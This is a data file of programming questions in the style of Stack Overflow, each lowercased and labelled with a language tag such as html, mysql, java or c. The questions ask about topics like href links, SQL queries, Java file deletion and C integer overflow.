html href doesn t link to external urls or mailto:  i have been having problems with href links. it doesn t matter how i type the url it always links relative to my website and so doesn t work. same happens with mailto: links. so  in an attempt to figure it out i wrote the most basic web page imaginable....and it still doesn t work! i have tried every variant of the url (with and without  www   with and without  http ) and nothing works. i have code checked using the w3 validator and it has passed. any ideas what is going wrong     i am using text editor on a mac where i ve always used notepad on a pc.    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;&lt;title&gt;energise my life&lt;/title&gt; &lt;meta charset= utf-8 &gt; &lt;/head&gt; &lt;body&gt; &lt;a href=“http://www.energisemylife.uk/”&gt;website&lt;/a&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
grabbing post data from uiwebview  i was wondering if it were possible to grab post data and save it when a submit button was pressed in a uiwebview. should i be using javascript and adding eventlisteners so that i can get the values before the submit goes through  if so  how would i be able to get the data back to my code in obj c  otherwise  is there any easier way  thanks,objective-c
i am unable to delete a database in mysql ending in pound  #   i created a database xyz# in mysql accidentally when i was trying to create xyz. now when i try to drop it  i get to the next line. i searched online but no luck. i tried escape characters / \ and single and double quote to consider # name of the database but no luck. any idea how to delete a database ending with #. thanks,mysql
how to read msword files in c# without using introp dlls or netoffice in c#  i have a requirement to read text from ms word files(all versions) with out using introp dlls  net office and open office dlls because of these dlls are not supported in our internal scanning tool/ server.     can any one suggest any other opensource dll which accepts all word fileversions(97-2003  2007...),c#
windows live connect sdk desktop walkthrough  i m having significant difficulty getting started with the windows live connect sdk in a traditional windows form app.     i would like to know:   <ol> <li>what sdk package to install  and how to add a reference to my project </li> <li>a simple code sample  just the most basic example of how to authenticate. </li> </ol>   from here i should be able to work out the rest  the online documentation is mainly for windows 8 metro apps  or windows phone.     hopefully a more traditional wrapped assembly exists      thanks in advance.,.net
how to create a sp that inserts values from one table to another  hi i want to create a stored procedure that takes specific values from one table and inserts them into another if a specific table been  dateaquired   is null i have this stored procedure below but it doesn t seem as expected please help.  thanks in advance     this is my code   <pre><code>use [mediaplayer] go /****** object:  storedprocedure [dbo].[sp_wishlists]    script date: 11/26/2013 11:43:37 ******/ set ansi_nulls on go set quoted_identifier on go -- ============================================= -- author:      &lt;author  name&gt; -- create date: &lt;create date  &gt; -- description: &lt;description  &gt; -- ============================================= alter procedure [dbo].[sp_wishlists]     -- add the parameters for the stored procedure here     @name nvarchar (250)      @filename nvarchar (250)      @filepath  nvarchar (50)      @filesize float      @dateadded date      @medialength nvarchar (50)      @mediasubtype nvarchar(50)      @mediatype nvarchar(50)      @thumbnail image      @dateaquired nvarchar (50)      @wishlist int output       @cname nvarchar  (50)output       @media nvarchar (50)output      @wishlistid int output  as begin     -- set nocount on added to prevent extra result sets from     -- interfering with select statements.     set nocount on; select generalid  name  filename  filepath filesize dateadded medialength mediasubtype mediatype  thumbnail dateaquired as wishlist  from general where nullif(dateaquired   )is null  insert into wishlists (generalid  mediatype  name) values ((ident_current( dbo.general )) (ident_current( dbo.general )) (ident_current( dbo.general ))) set @wishlistid = @@identity select generalid  mediasubtype  name  from general where not exists (select name from wishlists where name =@name); end </code></pre>,sql
i want allow user to register only if he crosses 18 years of current date  i am using directive for date. here is my code.    controller   <pre><code>$scope.agechecking = function () {    if($scope.dateofbirth !==  invalid date ) {     var userdate = new date($scope.dateofbirth);     var current_date = new date();     var year = current_date.getfullyear();     var month = current_date.getmonth();     var day = current_date.getdate();      var datediff = new date(year +  -  + month +  -  + day);     var timediff = math.abs(datediff.gettime() - userdate.gettime());     var diffdays = math.ceil(timediff / (1000 * 3600 * 24));     var noofyears = diffdays / 365;      if (noofyears &lt; 18) {       $scope.ageerrormsg =  age should be 18 years ;         return false;       } else {         $scope.ageerrormsg =   ;       }     }   } </code></pre>   html   <pre><code> &lt;div class= form-group         ng-class= { has-error :!userregistrationform.dateofbirth.$valid &amp;&amp; (!userregistrationform.dateofbirth.$pristine || userregistrationform.$submitted)} &gt;    &lt;label class= control-label &gt;date of birth*&lt;/label&gt;    &lt;div class= clearfix &gt;      &lt;ng-combo-date-picker name= dateofbirth  ng-model= dateofbirth  ng-placeholder= yyyy mmm dd  ng-min-date= {{minyear}}  ng-attrs-date= { class :  form-control }  ng-attrs-month= { class :  form-control }  ng-attrs-year= { class :  form-control }  ng-max-date= {{maxyear}}  ng-required= true  ng-year-order= desc  ng-change= agechecking() &gt;&lt;/ng-combo-date-picker&gt;     &lt;/div&gt;    &lt;div class= help-block  ng-messages= userregistrationform.dateofbirth.$error  ng-if= userregistrationform.$submitted || userregistrationform.dateofbirth.$dirty  role= alert &gt;      &lt;div ng-message= required &gt;birth date is required&lt;/div&gt;    &lt;/div&gt;    {{ageerrormsg}}  &lt;/div&gt; </code></pre>,angularjs
cannot fetch the value of a mysql alias  i have the following code:   <pre><code>$query =   select distance  outcodepostcodes.lat      outcodepostcodes.lng      from ( select $table.*  outcodepostcodes.lat   outcodepostcodes.lng   outcodepostcodes.lat*3 as distance  from $table      left join outcodepostcodes on upper($table.postcode)  =      outcodepostcodes.outcode ) as x where $where_no_and and (hide= 0  or hide is null or hide=  )  and distance &lt;= 20 order by rent $reihenach limit $offset  $rowsperpage  ; </code></pre>   when i do a:   <pre><code>$num=mysql_numrows($result); $i=0; while ($i &lt; $num)  { $id=mysql_result($result $i  id ); etc  etc; $distance=mysql_result($result $i  distance ); }  </code></pre>   $distance is empty    any help appreciated,mysql
not understanding the return value from scanf  i have the following c program  and i don t understand the return value from <code>scanf</code>.   <pre><code>#include &lt;stdio.h&gt;  int main() {     int p n1 n2;      p=scanf( %d %d  &amp;n1  &amp;n2);      printf( %d   p);     return 0; } </code></pre>   <code>p</code> is assigned the return value from <code>scanf</code>.<br> when i provide values for <code>n1</code> and <code>n2</code>  the value of <code>p</code> is always 2. i don t understand why the value is always 2 regardless of what numbers i provide for <code>n1</code> and <code>n2</code>.,c
calling upon a .class file inside a source code   i ve been working on a program for a while now  and i ve run into countless problems that just seemed impossible to fix. luckily i got help every time. but this one is very confusing  and i m not really sure how to describe it properly.    basically what i have is a main source code  which is what people are going to run  and what creates the interface. and i have another source code  which is what deletes files from a specified directory.    what i need to do  is somehow call upon the code that deletes the files. and i need to call upon it from within the main source code.    here is one of the if statements i m working with:   <pre><code>if(chckbxtemporaryfilesuser.isselected()) {  } </code></pre>   as you can see  the if statement checks for whether a checkbox is checked. now what i want to do  is somehow activate the delete code if this returns true.    what i m making basically  is like a simple cleaning software. you click a checkbox called  temporary files   and if it s checked  another code will delete all the files inside a  temporary files  folder. i have all my if statements connected to a jbutton  through an action listener. so the code will only execute if the button is also pressed.    i tried just copy and pasting the whole code inside that if statement. but no matter how i change it  whether i delete the class or the methods  or change them somehow  it always shows up a ton of errors. which from my experience means that it s not how i m supposed to go about doing it.    here is the code that deletes the temp files:   <pre><code>public class tempfiles { private static final     string src_folder = system.getproperty( user.home ) +  \\appdata\\local\\temp ;  public static void main(string[] args) {     file directory = new file(src_folder);      //check if directory exists     if(!directory.exists()) {        system.out.println( directory does not exist. );        system.out.println( skipping directory. );        system.exit(0);     }     else {         try {        delete(directory);        }         catch(ioexception e){            e.printstacktrace();            system.exit(0);        }     }      system.out.println( cleaned directory   + src_folder +  . ); }  public static void delete(file file)     throws ioexception{      if(file.isdirectory()){          //if directory is empty         if(file.list().length==0){          }     else {             //list all the directory contents            string files[] = file.list();             for (string temp : files) {               //construct the file structure               file filedelete = new file(file  temp);                //recursive delete              delete(filedelete);            }             //check the directory again            if(file.list().length==0) {            }         }      }   else {         //if file exists  then delete it         file.delete();         system.out.println( file is deleted :   + file.getabsolutepath());     }   } } </code></pre>   so basically what i m asking is  how do i run a piece of code  with another piece of code     please try to explain your answers in simple terms  if they do involve a lot of code  as i m still pretty new to java  despite working with it for at least a month now. i ve looked around  and i found some questions that were sort of similar  but all the answers and suggestions were just way too technical for me to understand.    p.s. like the title of the question should also indicate  the two codes are in different files.,java
bind function from string  i  have a custom asp.net control that has a function name to be attached inside a javascript object:   <pre><code>&lt;custom:mycontrol runat= server  id= something  onclientopened= myfunc  /&gt; </code></pre>   i then have a state javascript object that has the string  myfunc :   <pre><code>state.onclientopened // contains  myfunc  </code></pre>   i am binding a function to the slideup argument like this:   <pre><code>// this code is inside an object // simplified for clarity  $el.slideup(200  window[state.onclientopened]); </code></pre>   i have no control over what goes into the onclientopened property so then i tested something that wasnt in the global namespace:    <pre><code>var myobject = function() {      var myfunc = function() {         dosomething();     };      return {         myfunc: myfunc     }; }(); </code></pre>   the <code>state.onclientopened</code> would now contain:    <pre><code>onclientopened =  myobject.myfunc ; </code></pre>   this obviously breaks it. whats the best approach for this  i m thinking some sort of eval but i m hoping for another approach if possible.    eval solution:   <pre><code>$el.slideup(200  eval( window.  + state.onclientopened)); </code></pre>,javascript
math.round being ignored <pre><code>    double energy  mass;     double speedoflight = 299792458.0;     // get mass     system.out.print( mass   );     mass = keyboard.nextdouble();     // calculate energy     energy = mass*math.pow(speedoflight  2);     // round to 1 decimal place     energy = math.round(energy * 10.0) / 10.0;     system.out.printf( the energy is   +energy+   joules );     // close scanner     keyboard.close(); </code></pre>   it is returning   the energy is 8.987551787368176e16 joules  when it should be returning   the energy is 89875517873681760.0 joules,java
how to put insertion limit in mysql database table entries according to certain condition   is there a way  to limit insertion in a database table  in the student_applications table  a certain roll# cannot submit more than 6 applications  how will i do this in mysql  let s say i want student#1 to submit total of 4 applications while in the same table student#2 can submit 6 applications,mysql
update attributes for user only if attributes have changed  the original  happily working version of my project looked like this:    1)  user fills out form (new action) and hits submit (create action)    2)  user is redirected to their edit page (edit action uses an edit_id created by model  not rails auto-gen id)  which shows the info user had already submitted    3)      user can choose to change info (update action) and re-submit    in this version  even if the user changes nothing in the edit page and submits  the page will still flash a success alert.     from a database perspective  i don’t really care  because since the form is prefilled with the user’s info  the update_attributes method is just overriding old info with the same info.    from a user perspective though  it s annoying  so i want to ensure that the info is only updated and the success alert flashed only if the user actually changes something.     i thought this would be really easy  changing the old code from this:   <pre><code>def update   @request = request.find_by_edit_id(params[:edit_id])   if @request.update_attributes(request_params)      flash[:success] = true     redirect_to edit_request_path(@request.edit_id)   else     render  edit    end end </code></pre>   and adding one additional component to the  if  like this:   <pre><code>def update   @request = request.find_by_edit_id(params[:edit_id])   if @request.update_attributes(request_params) &amp;&amp; @request.changed      flash[:success] = true     redirect_to edit_request_path(@request.edit_id)   else     render  edit    end end </code></pre>   but this doesn’t work. now what happens is that  on the edit page  if i don’t change any info and hit submit  nothing happens (which is great)  but if i do change info and hit submit  still nothing happens (which is bad). what am i doing wrong     note: i initially thought it was an order of operations error  so i made it a nested if  with first if @request.update_attributes  and second if @request.changed  but this didn t work either...,ruby-on-rails
scrolling image after zooming  this project work and perform only zoom on double click but it does not scroll or show whole image when it big    so please help me for scrolling image after zooming    imageview_zoom.java   <pre><code>package com.example.imageview_zoom;  import android.app.activity; import android.os.bundle; import android.view.motionevent; import android.view.viewgroup.layoutparams; import android.view.animation.scaleanimation; import android.widget.imageview; import android.widget.scrollview; import android.widget.toast;  import com.example.imageview_zoom.simplegesturefilter.simplegesturelistener;  public class imageview_zoom extends activity implements simplegesturelistener {     imageview iv;     int i = 0  x = 0  y = 0;     private simplegesturefilter detector;     scrollview sv;      /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);          iv=new imageview(this);         //iv = (imageview) findviewbyid(r.id.zoom_test);         iv.setbackgroundresource(r.drawable.c3);         sv = (scrollview) findviewbyid(r.id.zoom);          detector = new simplegesturefilter(this  this);         //iv.setlayoutparams(new layoutparams(560 560));         setcontentview(iv new layoutparams(320 480));     }      @override     public boolean dispatchtouchevent(motionevent me) {         this.detector.ontouchevent(me);         return super.dispatchtouchevent(me);     }      @override     public void onswipe(int direction) {         string str =   ;         switch (direction) {         case simplegesturefilter.swipe_right:             str =  swipe right ;             break;         case simplegesturefilter.swipe_left:             str =  swipe left ;             break;         case simplegesturefilter.swipe_down:             str =  swipe down ;             break;         case simplegesturefilter.swipe_up:             str =  swipe up ;             break;         }         toast.maketext(this  str  toast.length_short).show();     }      @override     public void ondoubletap() {          if (i == 0) {              scaleanimation n = new scaleanimation(1.0f  2.0f  1.0f  2.0f  x  y);             iv.startanimation(n);             //sv.setlayoutparams(new layoutparams(320 500));             n.setfillafter(true);             //this.iv.setlayoutparams(new layoutparams(400  500));             i = 1;         } else {             scaleanimation n = new scaleanimation(1.5f  1.0f  1.5f  1.0f  160                      240);             iv.startanimation(n);             n.setfillafter(true);             i = 0;         }         toast.maketext(this   double tap   toast.length_short).show();     }      public boolean ontouchevent(motionevent event) {         x = (int) event.getx();         y = (int) event.gety();         return false;     } } </code></pre>   simplegesturefilter.java   <pre><code>package com.example.imageview_zoom;  import android.app.activity; import android.view.gesturedetector; import android.view.gesturedetector.simpleongesturelistener; import android.view.motionevent;  public class simplegesturefilter extends simpleongesturelistener {      public final static int swipe_up = 1;     public final static int swipe_down = 2;     public final static int swipe_left = 3;     public final static int swipe_right = 4;      public final static int mode_transparent = 0;     public final static int mode_solid = 1;     public final static int mode_dynamic = 2;      private final static int action_fake = -13; // just an unlikely number     private int swipe_min_distance = 100;     private int swipe_max_distance = 350;     private int swipe_min_velocity = 100;      private int mode = mode_dynamic;     private boolean running = true;     private boolean tapindicator = false;      private activity context;     private gesturedetector detector;     private simplegesturelistener listener;      public simplegesturefilter(activity context  simplegesturelistener sgl) {          this.context = context;         this.detector = new gesturedetector(context  this);         this.listener = sgl;     }      public void ontouchevent(motionevent event) {          if (!this.running)             return;         boolean result = this.detector.ontouchevent(event);          if (this.mode == mode_solid)             event.setaction(motionevent.action_cancel);         else if (this.mode == mode_dynamic) {             if (event.getaction() == action_fake)                 event.setaction(motionevent.action_up);             else if (result)                 event.setaction(motionevent.action_cancel);             else if (this.tapindicator) {                 event.setaction(motionevent.action_down);                 this.tapindicator = false;             }         }         // else just do nothing  it s transparent     }      public void setmode(int m) {         this.mode = m;     }      public int getmode() {         return this.mode;     }      public void setenabled(boolean status) {         this.running = status;     }      public void setswipemaxdistance(int distance) {         this.swipe_max_distance = distance;     }      public void setswipemindistance(int distance) {         this.swipe_min_distance = distance;     }      public void setswipeminvelocity(int distance) {         this.swipe_min_velocity = distance;     }      public int getswipemaxdistance() {         return this.swipe_max_distance;     }      public int getswipemindistance() {         return this.swipe_min_distance;     }      public int getswipeminvelocity() {         return this.swipe_min_velocity;     }      @override     public boolean onfling(motionevent e1  motionevent e2  float velocityx              float velocityy) {         final float xdistance = math.abs(e1.getx() - e2.getx());         final float ydistance = math.abs(e1.gety() - e2.gety());         //log.d( xdistance   = +xdistance);         //log.d( ydistance   = +ydistance);         if (xdistance &gt; this.swipe_max_distance                 || ydistance &gt; this.swipe_max_distance)             return false;         velocityx = math.abs(velocityx);         velocityy = math.abs(velocityy);         boolean result = false;         if (velocityx &gt; this.swipe_min_velocity                 &amp;&amp; xdistance &gt; this.swipe_min_distance) {             if (e1.getx() &gt; e2.getx()) // right to left                 this.listener.onswipe(swipe_left);             else                 this.listener.onswipe(swipe_right);             result = true;         } else if (velocityy &gt; this.swipe_min_velocity                 &amp;&amp; ydistance &gt; this.swipe_min_distance) {             if (e1.gety() &gt; e2.gety()) // bottom to up                 this.listener.onswipe(swipe_up);             else                 this.listener.onswipe(swipe_down);             result = true;         }         return result;     }      @override     public boolean onsingletapup(motionevent e) {         this.tapindicator = true;         return false;     }      @override     public boolean ondoubletap(motionevent arg0) {         this.listener.ondoubletap();         return true;     }      @override     public boolean ondoubletapevent(motionevent arg0) {         return true;     }      @override     public boolean onsingletapconfirmed(motionevent arg0) {         if (this.mode == mode_dynamic) { // we owe an action_up  so we fake an action             arg0.setaction(action_fake); // which will be converted to an action_up later.             this.context.dispatchtouchevent(arg0);         }         return false;     }      static interface simplegesturelistener {         void onswipe(int direction);         void ondoubletap();     } } </code></pre>   main.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;imageview xmlns:android= http://schemas.android.com/apk/res/android  android:id= @+id/zoom_test  android:adjustviewbounds= false  android:croptopadding= false  android:scaletype= matrix  android:src= @drawable/doll  android:layout_width= fill_parent  android:layout_height= fill_parent  /&gt; </code></pre>,android
don t want asp.net escape my string from database  i have a field with product name   <pre><code>abc&amp;reg; product1 </code></pre>   if i get the data from the database and databind it to the dropdownlist. it becomes   <pre><code>&lt;option value= 2 &gt;abc &amp;amp;reg;  product1&lt;/option&gt; </code></pre>   i don t want asp.net to escape the <code>&amp;reg;</code> to <code>%amp;reg</code>. what should i do,asp.net
how to use jquery click your browser turn off a layer at any position  how to use jquery click your browser turn off a layer at any position i trying 6 hour is unsuccessful..,jquery
html parser for c# <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/100358/looking-for-c-html-parser >looking for c# html parser</a>    </blockquote>     i did some google search and got a few hits but i wonder whether there is any particular existing code library that stands out from the crowd. thanks a lot.,c#
submit form with normal link  wont work  i have this:   <pre><code>&lt;a style= display: inline-block; width: 100px; font-weight: bold;     href= javascript:submit() &gt;search&lt;/a&gt; </code></pre>   as instead of a button with submit  but nothing happens when you click..    how can do this,html
app rejection possibility in appstore  recently i uploaded an app to the appstore but it got rejected because the app has links to the website where one can purchase(as per apple rejection statement). in the app there is no purchase section. any user can use the app but has to register via website or through the app. the app has three sections  where two sections can be used by any user but inorder to use the third section one has to purchase a package through the website. the user cannot use the app to purchase but has to use the browser and go directly to the website and make the purchase. now i am planning to resubmit the app by removing the links to the website  other functionalities will remain the same. my question is  whether there is any chance for rejection of my app because of this type of purchasing,ios
how can an integer variable show a correct value even when the value crosses its range   i have executed this program on 32bit windows 7 os with turbo c/c++ editor.   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt;  void main() {     int a b c d e;     clrscr();      a = 25000;     b = 10000;      c = a + b;      printf(  the value of c = %d\n   c );      d = 5000;      e = c - d;      printf(  the value of e is %d\n   e );      getch(); } </code></pre>   when i print c i get the value -30536  because the value 35000 crosses the max value. but when i use the same c in the expression  e= c - d;    i get the correct value as 30000. how is this possible,c
previously set array variable using $_post method is lost after checking button clicked using $_post  please forgive my confusing title  here is my problem:   <ol> <li>set an array variable through $_post</li> <li>check which button has been clicked and process the $_post variable</li> </ol>   what is in my code:   <pre><code>&lt; php ... $user = array_filter(array_map( array_filter   $_post[ user ])); ...  $submit = isset($_post[ button ])   trim($_post[ button ]) :   ;    if ($submit ==  confirm ) {          ...do something with $user;     } else if ($submit ==  cancel ) {          ...do something else with $user;     }  &gt; </code></pre>   it appears that when the page is first loaded  $user has been set correctly  however  once the  confirm  button is clicked  the $name array is lost and cannot be processed. any idea of how to resolve this will be much appreciated! many thanks.,php
how to get class name of second parent using jquery  when i click on the expand image  i need to get the class name of the second parent.    for example if i click the expand image in the first div  i need to get the class name <code>test-one-heading</code>.    if i click on the second div  i need to get the class name <code>test-two-heading</code>   <pre><code>&lt;div class= content &gt; &lt;div class= left-activity-block test-one-heading &gt; &lt;div class= clearfix leftsidebar-title  title-active &gt;  &lt;h2&gt;test 1&lt;/h2&gt; &lt;div style= cursor: pointer;  class= collapse-symbol filter-plus-symbol &gt;&lt;img width= 12  height= 12  title=   alt=   src= /sites/all/themes/images/icons/expand.png &gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt;  &lt;div class= content &gt; &lt;div class= left-activity-block test-two-heading &gt; &lt;div class= clearfix leftsidebar-title  title-active &gt;  &lt;h2&gt;test 2&lt;/h2&gt; &lt;div style= cursor: pointer;  class= collapse-symbol filter-plus-symbol &gt;&lt;img width= 12  height= 12  title=   alt=   src= /sites/all/themes/images/icons/expand.png &gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   how can i do this using jquery,jquery
can you set the tableview datasource values in  connectiondidfinishloading    i m working on my first json example in objective-c and came across <a href= http://mobileorchard.com/tutorial-json-over-http-on-the-iphone/  rel= nofollow >this</a> great tutorial that i m trying to reproduce.  along the way i decided to push the json returned into my already working tableview (just to ensure i could do something w/ the data in the view).   <pre><code>- (void)viewdidload {     [super viewdidload];    responsedata = [[nsmutabledata data] retain];     nsurlrequest *request = [nsurlrequest requestwithurl:[nsurl urlwithstring:@ http://www.unpossible.com/misc/lucky_numbers.json ]];     [[nsurlconnection alloc] initwithrequest:request delegate:self]; }  - (void)connectiondidfinishloading:(nsurlconnection *)connection {     [connection release];      nsstring *responsestring = [[nsstring alloc] initwithdata:responsedata encoding:nsutf8stringencoding];     [responsedata release];      nsarray *luckynumbers = [responsestring jsonvalue];      nsmutablestring *text = [nsmutablestring stringwithstring:@ nums  ];      for (int i = 0; i &lt; [luckynumbers count]; i++)         [text appendformat:@ %@   [luckynumbers objectatindex:i]];    self.movies = [[nsarray alloc] initwithobjects:@ first   text  @ last   nil]; } </code></pre>   what i ve found is that when i set the array in  connectiondidfinishloading  it shows up as nothing in the running application - yet if i set this directly in the  viewdidload  method with 3 simple string values it shows up fine.    when i debug the running application i see the json response and the string looks valid (no issues that i can see).    is the datasource for my tableview already set in stone before this  connectiondidfinishloading  method or did i miss something,objective-c
java incompatible types: .io inputstream cannot be converted to java.lang.string  tried importing about everything in the book and still coming up with this error:    <strong>error:(17  34) java: incompatible types: java.io.inputstream cannot be converted to java.lang.string</strong>    <strong>also</strong>    <strong>error:(24  13) java: cannot find symbol   symbol:   class filereader   location: class com.company.bedford</strong>    and for some reason it cannot resolve  filename  or  filereader    <pre><code>package com.company; import java.io.bufferedreader; import java.io.filenotfoundexception; import java.io.filereader; import java.io.ioexception; import java.io.inputstream; import java.io.inputstreamreader; import java.util.scanner; import java.io.file;  /**  * created by brygu on 1/18/2017.  */ public class bedford { public static void main(string[] args) {     // the name of the file to open.     *filename* = (system.in);      // this will reference one line at a time     string line = null;      try {          *filereader* filereader =             new filereader(*filename*);          //filereader wrapped in bufferedreader         bufferedreader bufferedreader =                 new bufferedreader(filereader);           while ((line = bufferedreader.readline()) != null) {             system.out.println(line);         }         // always close files.         bufferedreader.close();     }     catch (filenotfoundexception ex) {         system.out.println(              unable to open file    +             filename +    );      }     catch (ioexception e) {         system.out.println(                  error reading file                            + filename +    );         // or we could just do this:         // ex.printstacktrace();         }     } </code></pre>   },java
is the html label element valid without the end tag   is this valid  <code>&lt;label id= userlnamelabel  /&gt;</code>       vs this   <pre><code>&lt;label id= userlnamelabel &gt;&lt;/label&gt; </code></pre>   there seems to be some issue pulling the first version out of the dom but both look correct in the designer and the browser.,html
get count minimum  i have four table:   <pre><code> - player (name  city  totwontornaments)  - tournament (idtournament  date  winner)  - attendees (idtournament  playername  totalscore)  - game (idtournament  playername1  playername2  scoreplayer1  scoreplayer2  lastgame) </code></pre>   i want to write a query to find the player who got number of times the worst score in different tournament. this is the query i have wirten   <pre><code>select playername   min(totalscore)  from attendees a join tournomant t where a.idtournament = t.idtournament group by a.idtournament </code></pre>   untill now i can recognize for each tounament who got minium score but i do not know how to get count who got most time min score,sql
mysql select in from string  here is my table x:   <pre><code>id      vals --------------------- 1       4|6|8| </code></pre>   now table y:   <pre><code>id      name -------------------- 1        a 4        b 6        c 8        d </code></pre>   now i want the following:   <pre><code>select * from y where id in (replace(select vals from x where id =  1 )  |     ) </code></pre>   but this does not seem to work. any ideas why,mysql
write datatable content to csv file in c#.net  i have a data table in c#.net.please help me to write datatable content to csv file in asp.net(c# language),asp.net
"excess fields of <input> attribute  accept  in internet explorer  i want to specify whose files i can upload  for example only certificates<a href= https://i.stack.imgur.com/l5wzl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/l5wzl.png  alt= enter image description here ></a>. in firefox and chrome this behavior is ok  but when i try to specify file type in ie  there are two additinal fields: images and html. why  i wanna remove them.    the code is:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input accept= .cer .pem .der  id= certregfield  name= user_cert  type= file &gt;</code></pre>
 </div>
 </div>",html
undeclared identifier in c++  i want to print three number from maximum to minimum for 3 numbers  when i try to compile this code it shows me this error  <code>c2065  function parameter :undeclared identifier function parameter </code>for every function arguments . other error is <code>c 2062 type  int  unexpected</code>. here is my code   <pre><code>#include  stdafx.h  #include &lt;iostream&gt;  using namespace std;  int max  min;//making global variable  of max and min   void nummax(int x  int y  int z);//finding maximum number void nummin(int x  int y  int z);/finding minimum number  int main() {     int x  int y  int z;     int middle = 0;      cout &lt;&lt;  this program will take 3 number and print them from minimum to maximum  &lt;&lt; endl;     cout &lt;&lt;  _________________  &lt;&lt; endl;     cout &lt;&lt;  pleas enter three number  &lt;&lt; endl;     cout &lt;&lt;  num1 = ;cin &gt;&gt; x;cout &lt;&lt; endl &lt;&lt;  \n ;     cout &lt;&lt;  num2 = ;cin &gt;&gt; y;cout &lt;&lt; endl &lt;&lt;  \n ;     cout &lt;&lt;  num3 = ;cin &gt;&gt; z;cout &lt;&lt; endl &lt;&lt;  \n ;      nummax(x  y  z);     nummin(x  y  z);       if (x&lt;max &amp; x&gt;min)      {         middle = x;     }     if (y&lt;max &amp; y&gt;min)      {         middle = y;     }     if (z&lt;max &amp; z&gt;min)      {         middle = z;     }      cout &lt;&lt; ordered numbers are :  &lt;&lt; min &lt;&lt;  \t &lt;&lt; middle &lt;&lt;  \t  &lt;&lt;max ;      return 0; }    void nummax(int x  int y  int z) {     int max;      max = x &gt; y   x : y;     max = z &gt; max   z : max;     cout &lt;&lt; max; }  void nummin(int x  int y  int z) {     int min;      min = x &lt; y   x : y;     min = min&lt;z   min : z;     cout &lt;&lt; min; } </code></pre>   first i have defined my functions  then in main function i have passed parameter to function argument then i have mentioned my nummax and nummin fuctions to excute their task. finally i have used <code>if</code> statement for determining middle number. what should i do,c++
objective-c naming components after system components  i d like to create a custom table view that shows cells in a linear view. i can t figure out any good name for this custom uiview class. is it safe to name it  tableview      <pre><code>tableview.h tableview.m </code></pre>,objective-c
a class with void data member and its constructor  i am trying to write c++ application which runs on windriver linux(64bit). here is the similar code:(some part of my code is auto generated  i tried my best to keep it similar)   <pre><code>#include &lt;stdio.h&gt;  class oneclass{      const void *data;      public:        oneclass(const void *indata){            printf( in normal const %u addr: %u\n   *((unsigned int*)(indata))  indata);            data = indata;        }     oneclass(){           printf( in default const\n );       data = null;        }     oneclass(const oneclass &amp;in){           printf( in copy const\n );            data = in.data;        }         const void* getdata(){return data;} };  oneclass create(const unsigned &amp;in){      printf( in create before %u\n   in);      return new oneclass(&amp;in); }  main() {     oneclass two = create(100);     unsigned int *value = (unsigned int*)two.getdata();     printf( in main %u\n   *value); } </code></pre>   and output is:   <pre><code>in create before 100 in normal const 100 addr: 4294339016 in normal const 4294339016 addr: 134520840 in main 4294339016 </code></pre>   i expected two.data is 100  but it is not in real. how  i also confused how normal constructor called twice and not copy constructor     can anyone help me,c++
reverse each specific line in a string  i am attempting to reverse my lines within a text file using the recursion method. i am pretty stuck right now and my current output is a segmentation error- can someone explain what the segmentation error is from and push me in the right direction     <pre><code>void recursionline(); int main (int argc  char argv) {   recursionline();   printf( \n ); }  void recursionline() {   int c; if((c = getchar()) != eof || (c !=  \n ))     {       recursionline();       printf( %c  c);     }  else if((c = getchar()) != eof &amp;&amp; (c ==  \n )){       printf( \n );       recursionline(); } }  input:  dogs cats boys output sgod stac syob </code></pre>,c
sql help (orgid & toolid default issues)  stored procedure sp_org_organizations_createdefaulttools copies the defaults from orgid = 0 to a newly specified orgid.  but when i copy no matter what the default status for the new toolid and orgid always have a status of 1    <pre><code>create table [dbo].[org_tools]( [orgid] [int] not null  [toolid] [int] not null  [status] [bit] not null constraint [df_org_tools_status]  default ((1)) ) </code></pre>  <hr>  <pre><code>create  procedure dbo.sp_org_organizations_createdefaulttools @orgid int as  set nocount on  insert into org_tools( orgid  toolid) (select @orgid  toolid  from org_tools  where orgid = 0)  go </code></pre>,sql
.net framework sdk vs .net framework  at this url <a href= https://msdn.microsoft.com/en-us/library/5a4x27ek%28v=vs.110%29.aspx  rel= nofollow >https://msdn.microsoft.com/en-us/library/5a4x27ek%28v=vs.110%29.aspx</a> is said that     the .net framework is already installed into windows 10  8  etc.    but i don t understand if this installation contains compiler tools  etc.    in java i can install only the jre and only the sdk that contains the jre.    is this the same into windows with .net framework     is there a .net framework and a .net framework sdk     if i don t install visual studio but i have windows 10 can i program for .net,.net
"dns rewrite in asp.net or dns redirection in asp.net  i have an aspx page with some html tags     example    actual url    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;img src= https://google.com/fp/clear.png latitude=&lt;latitude&gt;&amp;amp;longitude=&lt;longitude&gt; alt=  &gt;</code></pre>
 </div>
 </div>
     how do i change the domain name (google.com) to a local url (localgoog.com)  and configure  web server to redirect the url (localgoo.com) to actual url (google.com)",asp.net
what context to use when starting a new activity on android   in an android app when i need to start a new activity  what s the difference on using the current activity context x application context,android
python concatenation without using join  i m trying to make something that takes as input a list of strings  and returns a string that is the concatenation all those strings together. however  i m trying to learn how to do it without the join method.    here is the main bulk of my code:   <pre><code>def concat_list(p):  def main():     list = []     i = 1     print( entering the empty string stops the input process. )     while true:         str_input = str(input( enter string #  + str(i) +  :  ))         if str_input ==   :    # empty string -&gt; stop input process             if i &gt; 1:                 list.pop()     # remove the last element     from list             break         i = i + 1         list.append(str_input)         list.append(   )       # we want the user s input strings to be interspersed with                                    # for instance: [ python         is    so         cool ]     print(list)  main() </code></pre>   the def concat_list is what someone recommended using in order to store/call the new concatenated text. does anyone have any suggestions  i ve hit a block. using the join method would simplify things i know but i want to try to do it without.,python
